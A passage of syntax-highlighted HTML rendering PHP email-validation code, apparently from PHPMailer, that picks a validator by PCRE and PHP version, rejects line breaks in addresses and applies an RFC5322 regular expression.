class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eis_null\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e::\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003evalidator\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eis_callable\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecall_user_func\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003eReject\u003c/span\u003e \u003cspan class=\"n\"\u003eline\u003c/span\u003e \u003cspan class=\"n\"\u003ebreaks\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003eaddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003eit\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;s valid RFC5322, but not RFC5321\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estrpos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!==\u003c/span\u003e \u003cspan class=\"bp\"\u003efalse\u003c/span\u003e \u003cspan class=\"ow\"\u003eor\u003c/span\u003e \u003cspan class=\"n\"\u003estrpos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\r\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!==\u003c/span\u003e \u003cspan class=\"bp\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"bp\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e \u003cspan class=\"ow\"\u003eor\u003c/span\u003e \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;auto\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003eCheck\u003c/span\u003e \u003cspan class=\"n\"\u003ethis\u003c/span\u003e \u003cspan class=\"n\"\u003econstant\u003c/span\u003e \u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"n\"\u003eso\u003c/span\u003e \u003cspan class=\"n\"\u003eit\u003c/span\u003e \u003cspan class=\"n\"\u003eworks\u003c/span\u003e \u003cspan class=\"n\"\u003ewhen\u003c/span\u003e \u003cspan class=\"n\"\u003eextension_loaded\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"n\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003edisabled\u003c/span\u003e \u003cspan class=\"n\"\u003eby\u003c/span\u003e \u003cspan class=\"n\"\u003esafe\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003eConstant\u003c/span\u003e \u003cspan class=\"n\"\u003ewas\u003c/span\u003e \u003cspan class=\"n\"\u003eadded\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003ePHP\u003c/span\u003e \u003cspan class=\"mf\"\u003e5.2\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edefined\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;PCRE_VERSION\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003eThis\u003c/span\u003e \u003cspan class=\"n\"\u003epattern\u003c/span\u003e \u003cspan class=\"n\"\u003ecan\u003c/span\u003e \u003cspan class=\"n\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003estuck\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"n\"\u003erecursive\u003c/span\u003e \u003cspan class=\"n\"\u003eloop\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003ePCRE\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"mf\"\u003e8.0\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eversion_compare\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePCRE_VERSION\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;8.0.3\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;pcre8\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;pcre\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"n\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efunction_exists\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;extension_loaded\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"ow\"\u003eand\u003c/span\u003e \u003cspan class=\"n\"\u003eextension_loaded\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;pcre\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003eFall\u003c/span\u003e \u003cspan class=\"n\"\u003eback\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003eolder\u003c/span\u003e \u003cspan class=\"n\"\u003ePCRE\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;pcre\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003eFilter_var\u003c/span\u003e \u003cspan class=\"n\"\u003eappeared\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003ePHP\u003c/span\u003e \u003cspan class=\"mf\"\u003e5.2\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"ow\"\u003eand\u003c/span\u003e \u003cspan class=\"n\"\u003edoes\u003c/span\u003e \u003cspan class=\"ow\"\u003enot\u003c/span\u003e \u003cspan class=\"n\"\u003erequire\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003ePCRE\u003c/span\u003e \u003cspan class=\"n\"\u003eextension\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eversion_compare\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePHP_VERSION\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;5.2.0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;php\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;noregex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;pcre8\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"o\"\u003e/**\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eUses\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003esame\u003c/span\u003e \u003cspan class=\"n\"\u003eRFC5322\u003c/span\u003e \u003cspan class=\"n\"\u003eregex\u003c/span\u003e \u003cspan class=\"n\"\u003eon\u003c/span\u003e \u003cspan class=\"n\"\u003ewhich\u003c/span\u003e \u003cspan class=\"n\"\u003eFILTER_VALIDATE_EMAIL\u003c/span\u003e \u003cspan class=\"n\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003ebased\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ebut\u003c/span\u003e \u003cspan class=\"n\"\u003eallows\u003c/span\u003e \u003cspan class=\"n\"\u003edotless\u003c/span\u003e \u003cspan class=\"n\"\u003edomains\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003elink\u003c/span\u003e \u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003esquiloople\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecom\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mi\"\u003e2009\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mi\"\u003e12\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eemail\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003evalidation\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003ecopyright\u003c/span\u003e \u003cspan class=\"mi\"\u003e2009\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2010\u003c/span\u003e \u003cspan class=\"n\"\u003eMichael\u003c/span\u003e \u003cspan class=\"n\"\u003eRushton\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eFeel\u003c/span\u003e \u003cspan class=\"n\"\u003efree\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003euse\u003c/span\u003e \u003cspan class=\"ow\"\u003eand\u003c/span\u003e \u003cspan class=\"n\"\u003eredistribute\u003c/span\u003e \u003cspan class=\"n\"\u003ethis\u003c/span\u003e \u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"n\"\u003eBut\u003c/span\u003e \u003cspan class=\"n\"\u003eplease\u003c/span\u003e \u003cspan class=\"n\"\u003ekeep\u003c/span\u003e \u003cspan class=\"n\"\u003ethis\u003c/span\u003e \u003cspan class=\"n\"\u003ecopyright\u003c/span\u003e \u003cspan class=\"n\"\u003enotice\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 \u003cspan class=\"o\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eboolean\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;/^(?!(?\u0026gt;(?1)\u0026#34;?(?\u0026gt;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003e\\[ -~]|[^\u0026#34;])\u0026#34;?(?1)){255,})(?!(?\u0026gt;(?1)\u0026#34;?(?\u0026gt;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003e\\[ -~]|[^\u0026#34;])\u0026#34;?(?1)){65,}@)\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;((?\u0026gt;(?\u0026gt;(?\u0026gt;((?\u0026gt;(?\u0026gt;(?\u0026gt;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x0D\\x0A\u003c/span\u003e\u003cspan class=\"s1\"\u003e)?[\u003c/span\u003e\u003cspan class=\"se\"\u003e\\t\u003c/span\u003e\u003cspan class=\"s1\"\u003e ])+|(?\u0026gt;[\u003c/span\u003e\u003cspan class=\"se\"\u003e\\t\u003c/span\u003e\u003cspan class=\"s1\"\u003e ]*\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x0D\\x0A\u003c/span\u003e\u003cspan class=\"s1\"\u003e)?[\u003c/span\u003e\u003cspan class=\"se\"\u003e\\t\u003c/span\u003e\u003cspan class=\"s1\"\u003e ]+)?)(\\((?\u0026gt;(?2)\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;(?\u0026gt;[\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x01\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x08\\x0B\\x0C\\x0E\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\u0026#39;\u003c/span\u003e\u003cspan class=\"s1\"\u003e*-\\[\\]-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x7F\u003c/span\u003e\u003cspan class=\"s1\"\u003e]|\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003e\\[\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x00\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x7F\u003c/span\u003e\u003cspan class=\"s1\"\u003e]|(?3)))*(?2)\\)))+(?2))|(?2))?)\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;([!#-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\u0026#39;\u003c/span\u003e\u003cspan class=\"s1\"\u003e*+\\/-9=?^-~-]+|\u0026#34;(?\u0026gt;(?2)(?\u0026gt;[\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x01\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x08\\x0B\\x0C\\x0E\u003c/span\u003e\u003cspan class=\"s1\"\u003e-!#-\\[\\]-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x7F\u003c/span\u003e\u003cspan class=\"s1\"\u003e]|\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003e\\[\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x00\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x7F\u003c/span\u003e\u003cspan class=\"s1\"\u003e]))*\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;(?2)\u0026#34;)(?\u0026gt;(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?\u0026gt;([a-z0-9](?\u0026gt;[a-z0-9-]*[a-z0-9])?)\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;(?\u0026gt;(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?\u0026gt;IPv6:(?\u0026gt;([a-f0-9]{1,4})(?\u0026gt;:(?6)){7}\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?\u0026gt;:(?6)){0,6})?::(?7)?))|(?\u0026gt;(?\u0026gt;IPv6:(?\u0026gt;(?6)(?\u0026gt;:(?6)){5}:\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?\u0026gt;((?6)(?\u0026gt;:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;|[1-9]?[0-9])(?\u0026gt;\\.(?9)){3}))\\])(?1)$/isD\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan 